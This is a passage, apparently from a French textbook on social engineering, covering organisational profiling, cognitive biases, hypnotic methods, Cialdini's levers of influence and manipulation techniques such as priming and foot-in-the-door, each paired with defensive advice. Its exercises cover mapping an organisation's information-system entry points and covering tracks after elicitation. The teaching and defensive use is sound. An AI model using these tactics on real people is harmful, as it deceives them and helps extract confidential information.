C’est un mode d’organisation moderne dans laquelle chacun est libre de saisir sa chance pour se
créer une vie plus confortable. La vérité vient de la validation par l’expérience de type scientifique.
On y valorise la liberté individuelle, la compétition, l’opportunisme, le pragmatisme, le travail,
l’élitisme, l’efficacité, les projets, l’économie, l’autonomie et l’initiative individuelle, l’argent,
l’apparence.

On le rencontre dans le monde de la finance, les commerçants, les start-up, chez les équipes
sportives. On y parle facilement d’argent, de réussite sociale, d’opportunité, de liberté.

Harmonieux

Dans les organisations atteignant ce niveau de vision du monde, les gens sont censés s’être libérés
des dogmes et de la cupidité propre aux deux niveaux précédents. Les valeurs sont communautaires,
égalitaires et consensuelles. Inutile donc de préciser que les organisations faisant plus que seulement
afficher cela sont extrêmement rares, pour ne pas dire inexistantes.

En revanche, on constatera de nombreux cas où ces valeurs sont mises en avant le plus souvent par
des organisations "productivistes" pour des raisons de communication ou de promotion.

Bien que ce genre de valeurs progresse et que dans certains cas elles puissent effectivement être
solidement ancrées dans certaines organisations militantes, des associations, ou plus rarement des
entreprises, il sera toujours bon d’évaluer leur profondeur réelle.

Il existe d’autres niveaux qu’il peut être intéressant d’étudier, mais ils sont trop rares pour avoir une
utilité en ingénierie sociale à l’heure actuelle.

Il faut en particulier garder à l’esprit que l’on trouve le plus souvent dans une organisation ou chez un
individu sain les paradigmes décrits ci-dessus, imbriqués à la manière de poupées russes. Et il est
aussi possible de trouver des niches émergentes ou dissonantes à l’intérieur même d’une
organisation. Par exemple, des niches claniques ou productivistes peuvent souvent être observées au
sein de grandes entreprises hiérarchiques.

Rappelons que le modèle complet est complexe et multidimensionnel, et mérite une étude
approfondie à lui tout seul. Mais c’est le cas de nombreux autres modèles dont l’ingénieur social
peut soit extraire uniquement les outils pratiques, soit étudier plus en détail la théorie.

L’intérêt du modèle est sa grande validité et sa consistance qui permet de facilement déterminer le
niveau d’organisation d’un groupe en cohérence avec son paradigme dominant. Le travail de
l’ingénieur social est alors grandement facilité.

3. Modèles de maturité et certifications qualité

Restrict
ed
Les certifications d’une entreprise ont l’avantage certain d’être faciles à trouver car elles font partie
des éléments de langage mis en avant dans leur communication. Il est donc tentant de chercher à en
tirer des informations concernant l’organisation.

Il faut noter que la typologie des valeurs et des croyances exposées ci-dessous est à
distinguer formellement de celle de la qualité ou des modèles de maturité. Les modèles de maturité
mesurent l’optimisation des processus et la démarche de l’amélioration continue.

Il existe plusieurs systèmes de mesure valides permettant de classer les organisations selon leur
niveau de maturité ou de qualité, tels que CMMi, P3M3, SMP2.

Par exemple, CMMi distingue cinq niveaux de maturité : chaotique, défini, organisé, géré, optimisé.

L’intérêt de ces modèles pour l’ingénieur social réside autant dans la certification de l’organisation
que dans leur mise en œuvre réelle. Certes, les certifications peuvent parfois être des indicateurs
concernant le professionnalisme avec lequel les processus ont été définis et outillés dans
l’organisation concernée. Ils sont toutefois loin d’être infaillibles.

Il est courant de constater que des organisations multiplient les certifications dans un objectif
d’image et non d’amélioration. Ainsi l’affichage de nombreuses certifications souhaite transmettre
une image de qualité.

Il faut noter que la démarche qualité et le niveau de maturité d’une organisation sont à distinguer
dans l’absolu de la typologie de valeurs et de croyances définie à la section précédente. Toutefois, il
sera toujours intéressant de mettre en regard ce que l’affichage de certaines certifications qualité ou
niveau de maturité nous disent quant au paradigme dominant d’une organisation.

4. Exploitation

Ainsi, avant même de disposer du jargon et des codes propres à la cible, il sera très utile,
éventuellement même lors de la première phase de recherche d’informations, d’aborder chaque
organisation avec le bon type de langage, avec le bon style, les bons mots, de créer la connexion sur
le bon sujet, en jouant sur les bonnes valeurs et en exploitant les bonnes croyances.

Ces connaissances seront aussi un atout précieux dans la détection des failles organisationnelles.

5. Exercices

En choisissant plusieurs organisations très différentes que vous connaissez, rédiger une fiche
récapitulative pour chacune, en indiquant les divers éléments permettant de les typer avec si
possible les éléments suivants :

 Statut et éléments légaux, raison sociale.

 Organisation, organigramme connu.

 Éléments géographiques.

 Taille, localisation.

 Subordination, partenaires, filières, clients, fournisseurs.

 Type d’organisation, niveau de maturité organisationnelle.

 Valeurs et croyances dominantes, niches potentielles.

Restrict
ed
 Points d’entrée/sortie du système d’information.

 Autres points que vous jugerez utiles.

Restrict
ed
Failles humaines : bases et modèles théoriques
"Parce que si je voulais me lancer dans la psychanalyse, j’ajouterais que c’est le roi des cons."

Bernard Blier, "Le Cave se rebiffe" (1962), écrit par Michel Audiard

Il semble légitime de se poser la question : "L’ingénieur social doit-il s’intéresser aux modèles
théoriques expliquant les failles humaines ?"

La réponse est, pour ce qui nous concerne : "Sans aucun doute, au moins dans les grandes lignes."

En effet, d’une part, il sera toujours plus facile de mettre en œuvre des techniques lorsqu’on en
connaît les ressorts ; d’autre part, il est aussi surtout plus facile de s’en protéger.

Toutefois, il n’est pas nécessaire d’avoir un doctorat de psychologie pour être un ingénieur social
efficace. Disposer de modèles valides de psychologie sociale et différentielle ne pourra être qu’un
plus, ils devront avant tout rester simples.

Et bien sûr, il sera utile de connaître les méthodes de manipulation, qui seront le cœur de l’élicitation
de l’information.

1. Bases biologiques et fonctionnalités du cerveau

Sans vouloir tomber dans le déterminisme biologique, il est très souvent utile pour l’ingénieur social
d’utiliser des modèles comportementaux. Ceux-ci s’appuient souvent sur l’expérience, ou sur des
approximations que beaucoup de scientifiques jugeraient inexactes, mais qui rendent service et
remplissent la mission qu’on leur demande : fournir des modèles prédictifs pertinents.

Le premier modèle qui peut s’avérer utile est celui du cerveau "triunique". Certes, ce modèle sera
jugé dépassé par de nombreux professionnels, mais il est suffisamment valide pour comprendre le
fonctionnement des ressorts de manipulation essentiels.

Pour résumer cette théorie, nous dirons simplement qu’elle admet comme prémisse que le cerveau
humain assure trois grands types de fonctions et qu’il existe une certaine unité de traitement pour
chacune de ces fonctions, que nous appellerons centres.

Ainsi, le centre instinctif assurera les fonctions vitales, reproductrices et sociales primaires.

Le centre émotionnel sera chargé, lui, de garantir un asservissement du système en assurant la


capacité à prioriser, filtrer, trier, mémoriser, répliquer et s’adapter rapidement aux situations en
fonction des expériences passées en attribuant des priorités et des valeurs aux actions, aux choses et
aux êtres.

Le centre mental, quant à lui, servira à assurer les fonctions logiques, comprendre, anticiper, créer de
la cohérence, chercher des causalités, concevoir des modèles abstraits et élaborer des stratégies
pour s’adapter au monde.

Ces trois centres sont censés fonctionner en harmonie en assurant un équilibre entre eux. Lorsque
cet équilibre est rompu, il devient aisé de détourner leurs fonctionnalités et de les leurrer.

En effet, l’action combinée des sélections naturelle, sexuelle et culturelle a produit au cours de
l’évolution chez l’homme un cerveau surdéveloppé, extrêmement performant, rapide, résilient et
parfaitement adapté à son environnement initial. Mais ce cerveau est consommateur en ressources
et uniquement optimisé pour traiter les situations courantes. Il est donc à l’aise avec les données

Restrict
ed
d’ordre habituel rencontrées dans l’environnement qui a favorisé son développement. En revanche,
il sera souvent mis en défaut dès que l’on sortira de sa zone de confort.

Nous traitons facilement les nombres que nous pouvons visualiser, les grandeurs sensibles, les
températures moyennes ou les problèmes mécaniques ou géométriques courants, mais nous avons
des difficultés à appréhender intuitivement les valeurs très grandes, très petites, ou simplement hors
de notre domaine de traitement.

L’évolution a, de manière pragmatique, négligé de nous doter de capacités cognitives


supplémentaires pour traiter les situations trop atypiques. Nous devons souvent pour cela faire un
effort cognitif considérable. Or, nous préférons toujours si possible économiser notre énergie
cérébrale.

Nous utilisons donc de préférence des méthodes économiques et rapides de prise de décision : des
heuristiques, raccourcis, "intuitions", qui auront elles aussi un domaine d’efficacité limité.

Dès que nous sortons de la plage normale de ces capacités cognitives, notre cerveau perd
sensiblement en efficacité et peut facilement se laisser leurrer, abuser, confondre, distraire ou
manipuler.

Ainsi, le traitement par le cerveau humain comporte de nombreux défauts naturels, des biais
cognitifs qui constituent autant de failles exploitables.

2. Biais cognitifs

Il existe de très nombreux biais cognitifs et le classement suivant ne se veut pas exhaustif. Toutefois
sont présentés ici les biais qui nous semblent les plus faciles à mettre en œuvre et les plus utiles en
termes de possibilité d’influence et de subterfuge.

Les biais de perception

Contrastes, illusions, comparaisons, très grandes ou petites valeurs permettront de tromper la cible
en provoquant de mauvaises estimations de la situation et permettant de présenter des éléments
factuels dans un sens plus avantageux.

Les biais de l’attention

Ce sont par exemple la surcharge mentale, la distraction, la confusion ou la focalisation qui


permettront de diminuer les capacités de défense de la cible en l’empêchant de mobiliser ses
ressources efficacement.

Les biais de la mémoire

Les biais de mémoire sont fondamentaux car ils permettent d’une part, comme les biais de
perception, de recadrer certaines informations en les rendant plus prégnantes ou plus avantageuses.
Ils permettent aussi de favoriser une amnésie relative concernant les événements à camoufler.

Ils sont systématiquement utilisés dans les techniques de manipulation. Citons ici la création de faux
souvenirs, la primauté, la récence, l’avantage au connu.

Les biais du jugement

C’est une source d’erreur très importante qui couvre de nombreux phénomènes différents. Ils sont
fondamentaux car ils engendrent des jugements établis de manière essentiellement émotionnelle et
heuristique mais rationalisés. Ces biais permettent souvent d’en renforcer d’autres grâce par

Restrict
ed
exemple aux erreurs liées à l’expertise connexe, l’autoévaluation ou les taches aveugles (tendance à
mal discerner ses propres biais cognitifs).

Les biais de raisonnement

Nous le reverrons dans les ressorts de la manipulation, le besoin de cohérence est


paradoxalement une source d’erreur très importante de notre cerveau.

On pourrait penser qu’il est utile dans la prise de décision elle-même, mais en termes d’influence il
est souvent préférable que les décisions soient prises avant que le raisonnement n’intervienne. Le
raisonnement biaisé peut alors être utilisé pour faire accepter la décision a posteriori.

Toutefois, ce sont des biais qui engendrent des comportements extrêmement stables et il est
toujours possible de leur trouver des applications pratiques.

Citons pour mémoire les biais de raisonnement les plus utiles à l’influence : la cohérence artificielle,
la dissonance cognitive, les phénomènes liés à l’engagement, et le besoin de schéma logique, le biais
de disponibilité de l’information.

Les biais liés à la personne

Enfin, il existe des biais liés à la personne elle-même. Ainsi, en s’appuyant sur certains modèles de la
psychologie différentielle, l’ingénieur social peut se bâtir des outils pour exploiter les biais dus par
exemple aux différences de caractère, à la culture, à la langue, ou à tout autre filtre cognitif ou social.

3. Méthodes hypnotiques

Les méthodes hypnotiques méritent d’être mentionnées ici. Utilisées depuis longtemps par les
shamans, les gurus ou les publicitaires, elles s’appuient sur l’existence de divers états de conscience
modifiés allant de la rêverie à la transe lourde.

Certains de ces états de conscience peuvent permettre un accès direct à l’inconscient. Les possibilités
liées aux méthodes hypnotiques sont extrêmement vastes. Avec ces compétences, il est du domaine
du possible d’induire des émotions ou des sensations physiques, d’ancrer ou de faire disparaître des
croyances, des goûts ou des phobies, ou encore de créer ou d’effacer des souvenirs.

Ainsi, contrairement à la croyance volontairement répandue, il sera possible pour un praticien


expérimenté en hypnose de manipuler quelqu’un et de l’amener à produire des comportements
allant à l’encontre de son intérêt.

Toutefois, dans le cas de l’ingénierie sociale, les techniques utilisables ne feront pas appel à des
transes lourdes et spectaculaires mais plutôt à des changements d’état peu détectables qui auront
des effets facilitateurs de suggestions et de manipulations.

Il existe de nombreux ouvrages sur le sujet pour le lecteur qui souhaiterait approfondir le domaine.

Sans rentrer plus dans les détails d’un sujet complexe, il est toutefois nécessaire de connaître les
facteurs facilitant les transes hypnotiques. Nous citerons pour mémoire la saturation mentale,
l’usage du contraste, les répétitions, les ancrages émotionnels, la surcharge des sens, la focalisation,
le centrage sensoriel, le repos sensoriel ou la confusion mentale qui nous paraissent les plus
courants.

Même sans être nécessairement capable de les mettre en œuvre, il est particulièrement utile de
s’entraîner à les détecter de manière à s’en prémunir.

Restrict
ed
4. Cohérence et recherche de « pattern »

"Je peux tout demander à mon cerveau, sauf de s’arrêter de penser."

Bernard Blier, "Quand passent les faisans" (1965), écrit par Michel Audiard

Bien que nous reviendrons sur le phénomène de besoin de cohérence lorsque nous parlerons des
ressorts de la manipulation, il paraît utile d’en dire quelques mots ici.

La taille du cortex préfrontal chez l’homme le distingue largement des autres animaux et lui donne
des capacités cognitives inégalées. La capacité à créer des liens logiques entre les événements est en
effet en général un atout exceptionnel et d’un point de vue darwinien il est plus efficace de détecter
des logiques même lorsqu’il n’y en a pas (faux positifs) que manquer de prévoir un phénomène
dangereux.

Cette recherche de logique est donc toujours présente, soit consciente, soit en tâche de fond, et
induit l’un des moteurs les plus importants chez l’être humain : le besoin de cohérence et de schéma
logique.

Nous pouvons comprendre les phénomènes, déduire, abstraire, utiliser des symboles, anticiper,
élaborer des stratégies, créer de la cohérence et chercher des logiques, mais cela va paradoxalement
conduire à de nombreux pièges qui pourront être utilisés comme leviers.

5. Conclusion

Notre cerveau humain est extrêmement versatile, rapide, efficace et résilient. Et pourtant nous
constatons qu’il est hautement influençable.

Pour analyser les situations, il utilise des heuristiques adaptées aux types d’événements qu’il
rencontre habituellement dans la nature.

Il ne fonctionne pas comme un ordinateur et utilise souvent des processus que l’on pourrait appeler
de "bas niveau", c’est-à-dire instinctifs et émotionnels dans la prise de décision, la raison intervenant
alors a posteriori pour rationaliser les actions.

Le cerveau présente donc de nombreux biais et backdoors. Il peut de ce fait facilement faire des
erreurs parfois absurdes et souvent persistantes.

C’est essentiellement en se plaçant hors de ses conditions normales de fonctionnement que l’on peut
optimiser les chances de le leurrer et d’exploiter ses failles.

6. Exercices

a. Cas particulier du téléphone

Le téléphone est l’un des outils préférés des ingénieurs sociaux. Il y a de nombreuses raisons à cela.

Au regard des points développés jusqu’ici, retrouvez les avantages que comporte l’usage du
téléphone.

b. Camouflage final

En vous appuyant sur les biais cognitifs de la mémoire que vous connaissez, établissez une liste de
bonnes pratiques favorisant la discrétion concernant l’élicitation et le camouflage final.

Restrict
ed
Influence et manipulation
Le cœur du travail de l’ingénieur social consiste à extraire des informations non diffusées,
confidentielles ou protégées. Cela va le plus souvent solliciter la capacité d’influencer les personnes
contactées. Il existe différentes méthodes pour cela, pour lesquelles il est nécessaire d’avoir un
vocabulaire précis.

1. Méthodes d’influence

a. Influence

Le terme d’influence, en français au moins, a un sens bien plus large que celui de manipulation.

Influencer, c’est obtenir un changement quelconque dans les conceptions, les croyances, les
motivations et, in fine, les comportements d’une cible.

Il existe de très nombreux moyens d’influencer et autant de ressorts d’influence.

On peut être influencé par des pulsions, des peurs, des désirs, des regrets, des sentiments, des
valeurs et même parfois par des arguments logiques.

Ce que l’on peut classer comme des techniques d’influence recouvre des procédés aussi divers que la
coercition, le chantage, le lavage de cerveau, la corruption, mais aussi l’usage légitime de l’autorité,
la propagande politique, la publicité, le management, la rétribution équitable, la pédagogie, la
persuasion, la démonstration scientifique, entre autres.

Ces méthodes sont bien sûr, souvent, hors du périmètre d’emploi de l’ingénieur social pour des
raisons éthiques ou pratiques.

Nous savons qu’un ingénieur social favorise les procédés les plus économiques, les moins risqués, les
plus discrets. Le choix des facteurs d’influence mis en œuvre sera donc primordial.

Pour bien le comprendre, il sera essentiel de distinguer les ressorts internes ou internalisés et les
ressorts externes. Les facteurs externes sont des éléments de motivation indépendants de la cible
alors que les facteurs internes lui appartiennent. Les facteurs internalisés sont, eux, des facteurs
initialement externes que la cible a intégrés. Par exemple, une récompense est un facteur externe, la
conscience professionnelle est un facteur interne et l’espoir d’obtenir à nouveau une récompense est
un facteur internalisé.

En effet, bien qu’elle soit souvent efficace, l’utilisation de ressorts externes contraint nécessairement
à la présence du facteur d’influence pour en garantir la continuité. Au contraire, l’activation de
facteurs internes ou, dans une moindre mesure, internalisés garantit beaucoup mieux la durabilité
des effets.

b. Tentation, séduction et intimidation

En termes d’influence, nous appellerons tentation la méthode consistant à obtenir un comportement


en proposant ou en laissant imaginer une contrepartie particulièrement attirante. Le fait que la
contrepartie soit réelle ou pas n’entre pas en compte dans le phénomène de tentation.

La séduction est simplement ici comme une forme particulière d’influence par tentation.

L’intimidation peut être considérée comme le pendant négatif de la tentation. Il s’agit d’obtenir un
comportement en annonçant ou laissant imaginer les conséquences désagréables d’un refus. Ici aussi
le fait d’avoir les ressources pour mettre à exécution la menace n’a pas d’importance dans le

Restrict
ed
phénomène. Comme pour la tentation, les ressorts en jeu seront essentiellement externes et les
traces laissées par la manœuvre seront souvent flagrantes.

Quoi qu’il en soit, tentation, séduction et intimidation doivent être utilisées avec parcimonie en
ingénierie sociale car elles s’appuient essentiellement sur des facteurs externes, manquent souvent
de discrétion, et peuvent laisser des traces, au moins dans l’esprit de la victime.

c. Manipulation

Nous utiliserons ici le mot manipulation dans le sens que lui donne la psychologie sociale (Beauvois-
Jouve), c’est-à-dire l’ensemble des techniques destinées à obtenir des comportements de la part
d’une cible sans qu’elle ait conscience ni de leurs objectifs réels ni de leurs conséquences et en
utilisant essentiellement des ressorts internes ou internalisés.

Il faut noter par ailleurs que cela ne présage pas de l’aspect moralement condamnable de la
méthode. Il est possible dans certains cas que les conséquences recherchées soient bénéfiques pour
la cible mais que le fait de la garder dans l’ignorance du processus soit un facteur d’efficacité.

D’après cette définition, il est clair que la manipulation exclut donc l’usage de la force ou de la
corruption. Elle se positionne souvent à la limite de l’intimidation et la séduction.

2. Les grands ressorts de la manipulation

Les grands ressorts de la manipulation sont présentés en détail dans l’ouvrage de Robert Cialdini
"Influence et manipulation", dont nous conseillons vivement la lecture. Ces ressorts ne sont pas des
méthodes de manipulation en tant que telles mais constituent leur moteur. Ils sont donc le plus
souvent inclus dans les techniques de manipulation plus élaborées que nous verrons dans la section
Les techniques de manipulation de ce chapitre.

Si leur connaissance pourra servir pour préparer des attaques optimales, nous constaterons leur
utilité pour la "self-défense". Ces ressorts sont en effet le bon niveau auquel se placer pour contrer
une manipulation.

Pour illustrer cela, et parce que c’est la manière la plus concise de le présenter, nous utiliserons le
modèle du cerveau "triunique", au moins en termes de fonctions et avec toutes les réserves déjà
formulées à ce sujet.

a. Cohérence

La recherche de cohérence est peut-être le ressort de manipulation le plus puissant chez l’être
humain. Il provoque de nombreux phénomènes décrits notamment dans la théorie de l’engagement
étudiée en psychologie sociale.

L’engagement induit essentiellement la persistance dans les comportements, les jugements, les
sentiments et les croyances, et intervient très souvent à divers degrés dans les techniques de
manipulation que nous présenterons.

Les facteurs favorisant l’engagement sont son caractère libre, coûteux, difficilement réversible,
explicite et public. Pour des raisons évidentes, l’ingénieur social jouera peu sur ce dernier facteur,
mais tous les autres devront être pris en compte.

Il est probable que ce besoin soit dû, entre autres, à l’extrême développement de nos fonctions
cognitives supérieures que nous appelons ici le centre mental. Nous exprimerons le fait de nous
laisser manipuler ou de nous auto-manipuler par besoin de cohérence, en disant que notre centre

Restrict
ed
mental "veut" travailler seul, sans prendre en compte les informations venant des centres
émotionnels et instinctifs.

La base de la self-défense face au besoin de cohérence consiste donc à écouter son centre
émotionnel, ce qui va se traduire par des manifestations somatiques connues comme une boule dans
l’estomac ou la gorge qui se serre. Ces manifestations doivent être prises comme des indicateurs
clairs qu’une partie de notre cerveau cherche à nous mettre en garde.

b. Réciprocité

La réciprocité est une tendance profondément ancrée en nous. Elle a été et est toujours
fondamentale pour maintenir la cohésion sociale des groupes humains. Il s’agit d’une pulsion à
rendre un don, un service, une faveur qui nous a été faite par un autre humain. Si on y ajoute des
biais cognitifs d’évaluation de valeurs, on comprend aisément comment nos bons sentiments
peuvent être retournés contre nous pour nous manipuler.

Cette pulsion de réciprocité, qui existe aussi chez de nombreuses espèces animales, a quelque chose
de très instinctif. Il s’y ajoute chez l’homme (et certains animaux) la capacité à reculer, parfois
longtemps après, le retour de faveur, ce qui permettra dans certains cas une exploitation différée de
ce ressort.

Ce besoin de réciprocité s’exploite en provoquant une situation d’échange inéquitable. Il est souvent
utilisé en ingénierie sociale à travers le conseil gratuit, la dette forcée, le couplage sabotage-
réparation, l’essai gratuit, ou la fausse concession.

Face à la réciprocité, qui attaque nos centres instinctif et émotionnel en même temps, il est parfois
extrêmement difficile de réagir. Ce qui peut paraître le plus étonnant est que le fait de détecter le
subterfuge ne fait pas disparaître pour autant la pulsion. Il devient alors urgent d’être capable
d’utiliser son centre mental afin de réexaminer et de relativiser la faveur faite, notamment afin de
réestimer sa valeur réelle.

Prendre en compte le fait que la faveur ait été sollicitée ou non est bien sûr un élément important.
Toutefois, il ne faudra pas perdre de vue que dans certains cas la cible pourra avoir été amenée à
faire la demande elle-même. Dans ce cas, seule l’estimation la plus objective possible de la valeur
réelle de la faveur pourra permettre de renverser la tendance à la réciprocité.

c. Preuve sociale

"It is known, Khaleesi." R.R. Martin, in A "Game Of Thrones".

La preuve sociale est un processus heuristique qui nous pousse à travers notre instinct grégaire à
choisir de nous comporter en cohérence avec un groupe. Il s’agit, face à une situation pour laquelle
nous n’avons pas l’ensemble des éléments nécessaires pour une prise de décision logique, de nous
fier au comportement, à l’attitude ou aux conclusions d’un groupe auquel nous nous sentons
appartenir. Son intérêt réside dans les économies de traitement et de temps qu’il offre à notre
cerveau.

En termes de détournement, on constate son efficacité à travers des utilisations comme les
phénomènes de mode, la claque tarifée ou les rires enregistrées en bande-son de certaines
émissions télévisées, souvent de qualité médiocre. Les facteurs favorisants sont l’incertitude, la non-
disponibilité des informations pertinentes, le poids du conformisme, et parfois la tension
émotionnelle.

Restrict
ed
Le processus consiste à présenter volontairement des preuves sociales fausses (sans preuve),
falsifiées (introduction de données fausses concernant la preuve) ou indûment mises en avant.

Exemple : "Il y a consensus sur ce sujet", "Tout le monde fait comme ça.", "It is known, Khaleesi"

Une modélisation possible de ce qui se passe lors de l’exploitation de la preuve sociale peut être
celle-ci : le centre mental tourne en boucle face à un doute dû à un manque de données pertinentes,
cherchant une réponse logique impossible à produire et laissant le pilotage de l’action au centre
instinctif à travers une compulsion de mimétisme social.

La détection de l’attaque est comme toujours un préalable à la défense, mais n’est pas toujours
suffisante pour permettre à la victime de refréner sa pulsion. Une fois encore, le ressort est puissant
et la défense est difficile d’autant plus contre cette pulsion qui a souvent pu s’avérer utile par
ailleurs.

Il est donc indispensable, lorsque l’on détecte l’usage de la preuve sociale contre nous, de rediriger
notre réflexion vers les éléments de preuves sociales présentées afin de remettre en cause leur
validité ou leur pertinence, et d’envisager la possibilité qu’elles aient été falsifiées.

En parallèle, comme le dit Robert Cialdini ("Influence et manipulation"), la défense consiste, dès que
l’on détecte une mise en avant d’une preuve sociale, à désactiver le "pilote automatique" instinctif,
qui dans le doute nous pousse à suivre la masse, afin de se donner le temps nécessaire à réduire le
doute, tant au sujet de la décision elle-même qu’à celui de la preuve présentée.

d. Autorité

L’autorité, ou plutôt la soumission à l’autorité, est un autre processus heuristique qui nous pousse,
en particulier en situation d’urgence, de surprise ou de stress, à nous en remettre à une figure faisant
autorité dans la conduite de l’action et la prise de décision. On peut constater les effrayantes
potentialités de la soumission à l’autorité dans la célèbre expérience de Milgram.

Le stratagème consiste donc à prendre les attributs de l’autorité grâce à des symboles, des
déguisements, des attitudes, des usages ou des déclarations.

Là encore, cette méthode s’avère très efficace. La mise en scène, la présentation de soi, l’exploitation
de rituels ou d’accessoires sont autant d’outils permettant de renforcer la crédibilité de l’autorité.

Une pratique courante consiste à étaler de manière anodine des renseignements qui vont laisser
penser à la cible que l’ingénieur social est un proche de hautes autorités hiérarchiques de
l’organisation.

Il faut noter que l’autorité est à distinguer de l’intimidation. L’intimidation pourrait parfois être un
stratagème ou un facteur de stress et de surprise supplémentaire favorisant l’acceptation de
l’autorité. Cependant, la base du processus est avant tout la reconnaissance que la personne a ou fait
autorité dans le domaine concerné.

La première étape de la défense est bien sûr toujours la détection du processus dès lors qu’une
figure d’autorité inconnue ou non authentifiée émet une requête. La défense est ici sensiblement
plus facile que pour les autres ressorts.

La première étape consiste à réduire le stress et l’effet de surprise en relativisant l’urgence. Cela
permettra de prendre le temps nécessaire pour effectuer quelques vérifications simples, en
particulier l’authentification de l’identité de l’autorité d’une part, et sa légitimité à faire la requête
d’autre part.

Restrict
ed
e. Sympathie

La sympathie est la traduction du terme anglais liking, utilisé en particulier par Robert Cialdini. Nous
avons tous plus ou moins tendance à nous préoccuper de nos proches, de nos amis ou des personnes
qui nous semblent mériter notre sympathie. Il s’agit là aussi d’une tendance fortement ancrée dans
notre biologie animale.

Cette tendance est une fois de plus facilement exploitable. Des réunions Tupperware au marketing
viral, ce ressort a lui aussi été largement exploité et étudié.

Les principaux facteurs facilitant l’exploitation de la sympathie sont : l’attirance physique, la


similarité, l’usage des compliments, le sentiment de coopération, l’évocation de liens, l’association
positive et bien sûr l’établissement de connexions physiques, émotionnelles ou intellectuelles
gratifiantes entre la cible et l’ingénieur social.

Refuser la sympathie pourrait paraître la plus simple des défenses.

En fait, il y a tant de manières de susciter la sympathie, dont certaines agissant directement sur
l’inconscient de la cible, qu’il serait tout à fait vain d’espérer être capable de les contrer toutes.

Paradoxalement, plutôt que de vouloir refuser la sympathie, la solution consiste souvent à l’accepter
et la laisser se développer, ce qui nous aidera à prendre conscience que ce sentiment s’est développé
trop rapidement compte tenu des circonstances.

Ici, à nouveau, le fait de détecter le subterfuge ne suffira pas, en soi, à s’en protéger, mais doit
permettre d’enclencher sa défense. Il s’agira principalement de séparer mentalement la personne de
sa requête afin de l’analyser plus rationnellement et d’en évaluer objectivement le coût, les
conséquences et les risques. Il est alors facile de retourner la sympathie contre l’ingénieur social pour
refuser sa demande.

f. Rareté

Le terme utilisé en anglais par Robert Cialdini est scarcity, qui peut se traduire par pénurie ou rareté.
Il s’agit de la tendance à attribuer une valeur plus grande à une denrée ou une opportunité dont la
disponibilité semble limitée.

Largement utilisé dans les techniques de vente, ce ressort tire son efficacité du renforcement mutuel
des nombreux phénomènes qui le sous-tendent tels que notre goût souvent justifié pour les
méthodes heuristiques, les biais cognitifs de perception et de jugement, l’instinct de survie et
d’appropriation de ressources, la peur du manque ou encore le désir de conserver le plus d’options
disponibles.

Ainsi, un coup de fil en numéro masqué nous intrigue, un produit en rupture de stock devient plus
attirant, une opportunité qui semble nous filer entre les doigts va nous intéresser davantage et, dans
une boîte de chocolats, nous préférons ceux dont il reste le moins. Les moyens d’exploiter ces
pulsions sont nombreux et couramment utilisés. On peut citer en exemple le stratagème de la vente
flash ou de la disponibilité limitée d’un produit.

Un facteur facilitant inattendu, dû au biais de comparaison, est que la raréfaction est encore plus
importante que la rareté en elle-même.

Face à l’utilisation de la rareté comme ressort de manipulation, la réponse est tout sauf aisée et la
détection du stratagème n’est pas intrinsèquement suffisante à s’en défendre. En effet, lorsque nous
constatons la raréfaction, notre centre instinctif demande à notre centre mental d’élaborer très vite

Restrict
ed
une stratégie pour conserver la disponibilité de la ressource, ce qui nous empêche largement de
penser à autre chose, alors qu’en parallèle se forme une réaction émotionnelle de frustration.

C’est cette réaction émotionnelle qu’il faudra surveiller et utiliser comme signal d’alerte.

La méthode consiste à commencer par contrôler notre réaction émotionnelle qui autrement court-
circuiterait notre conscience. Il serait trop long d’exposer ici les méthodes classiques de contrôle
émotionnel. Rappelons seulement qu’elles passent presque toutes par un contrôle de la respiration.

Mais nous n’en avons pas fini avec la pulsion. Il nous faudra ensuite nous demander pourquoi l’on
veut réellement la ressource rare, en particulier séparer rationnellement notre désir de posséder la
chose rare de notre désir d’en avoir la jouissance en éliminant mentalement la rareté. Ce procédé
permettra enfin de réévaluer la valeur de la ressource de manière plus objective.

Restrict
ed
Les techniques de manipulation
Nous devons maintenant voir comment exploiter en pratique les failles et les ressorts de la psyché
humaine décrits précédemment.

La typologie des techniques présentées ici reprend la classification connue en psychologie sociale et
popularisée par Jean-Léon Beauvois et Robert-Vincent Jouve dans le maintenant classique "Petit
traité de manipulation à l’usage des honnêtes gens". Nous recommandons vivement la lecture de cet
ouvrage à ceux qui souhaitent approfondir le sujet des techniques de manipulation.

Les techniques de manipulation peuvent tout d’abord être classées en "grandes techniques" et
"petites techniques". Toutefois, ne nous laissons pas abuser par la terminologie : les petites
techniques n’ont de petit uniquement le fait qu’elles viennent en complément des grandes.

On peut en fait considérer les grandes techniques comme des trames opératoires omniprésentes et
les petites comme l’habillage indispensable. La combinaison harmonieuse des deux est le gage du
succès.

Les études de psychologie sociale mesurant les effets des diverses techniques ne manquent pas.
Nous ne les rapporterons pas ici.

Pour être en mesure de se défendre contre les manipulations, il est indispensable de savoir détecter
ces techniques lorsqu’elles sont mises en œuvre. Il faudra ensuite être capable de reconnaître les
ressorts qu’elles utilisent.

1. Les grandes techniques de manipulation

a. Les amorçages et les leurres

Les amorçages et les leurres sont un ensemble de procédés consistant à mettre la


victime artificiellement dans un état favorable à l’acceptation de la requête cible en utilisant
principalement la tendance inconsciente naturelle à la persévérance dans une décision et par
extension une attitude, une conclusion, une impression, une humeur, une croyance ou un jugement.

Le fondement de la méthode consiste à présenter à une victime une situation falsifiée de manière à
lui faire amorcer le choix, conscient ou pas, d’obtempérer à la requête cible avant qu’elle ne dispose
de l’ensemble des éléments pertinents pour en décider.

La victime aura tendance à persévérer dans sa décision même si elle a accès aux bonnes informations
entre-temps.

Il est important de noter que l’engagement de la victime et les requêtes peuvent dans certains cas
être tacites.

Par exemple, se présenter comme une autorité peut être considéré comme une requête tacite, la
déférence hiérarchique avec laquelle la cible répondra peut être là aussi considérée comme un
engagement tacite à obtempérer. Toutefois, un engagement est toujours plus efficace lorsqu’il est
formulé.

Ainsi, l’une des principales techniques d’amorçage consiste donc à obtenir l’assentiment de principe
d’une personne avant de l’informer plus complètement sur l’acte qu’elle a consenti de réaliser. Dans
sa version la plus simple, c’est le classique "Je peux te demander un truc ?".

Une version à peine plus sophistiquée consisterait, par exemple, à demander à la cible de répondre à
un petit questionnaire (pour une raison à définir) sans lui en préciser le nombre de questions.

Restrict
ed
Le processus de persévérance dans la décision s’appuie en grande partie sur le phénomène
d’engagement. Mais les stratagèmes mis en œuvre pour modifier favorablement la situation peuvent
utiliser l’intégralité des ressorts connus.

b. Le pied dans la porte

Le pied dans la porte, que l’on peut aussi appeler "doigt dans l’engrenage", est une technique de
manipulation qui consiste à faire une demande peu coûteuse qui sera vraisemblablement acceptée,
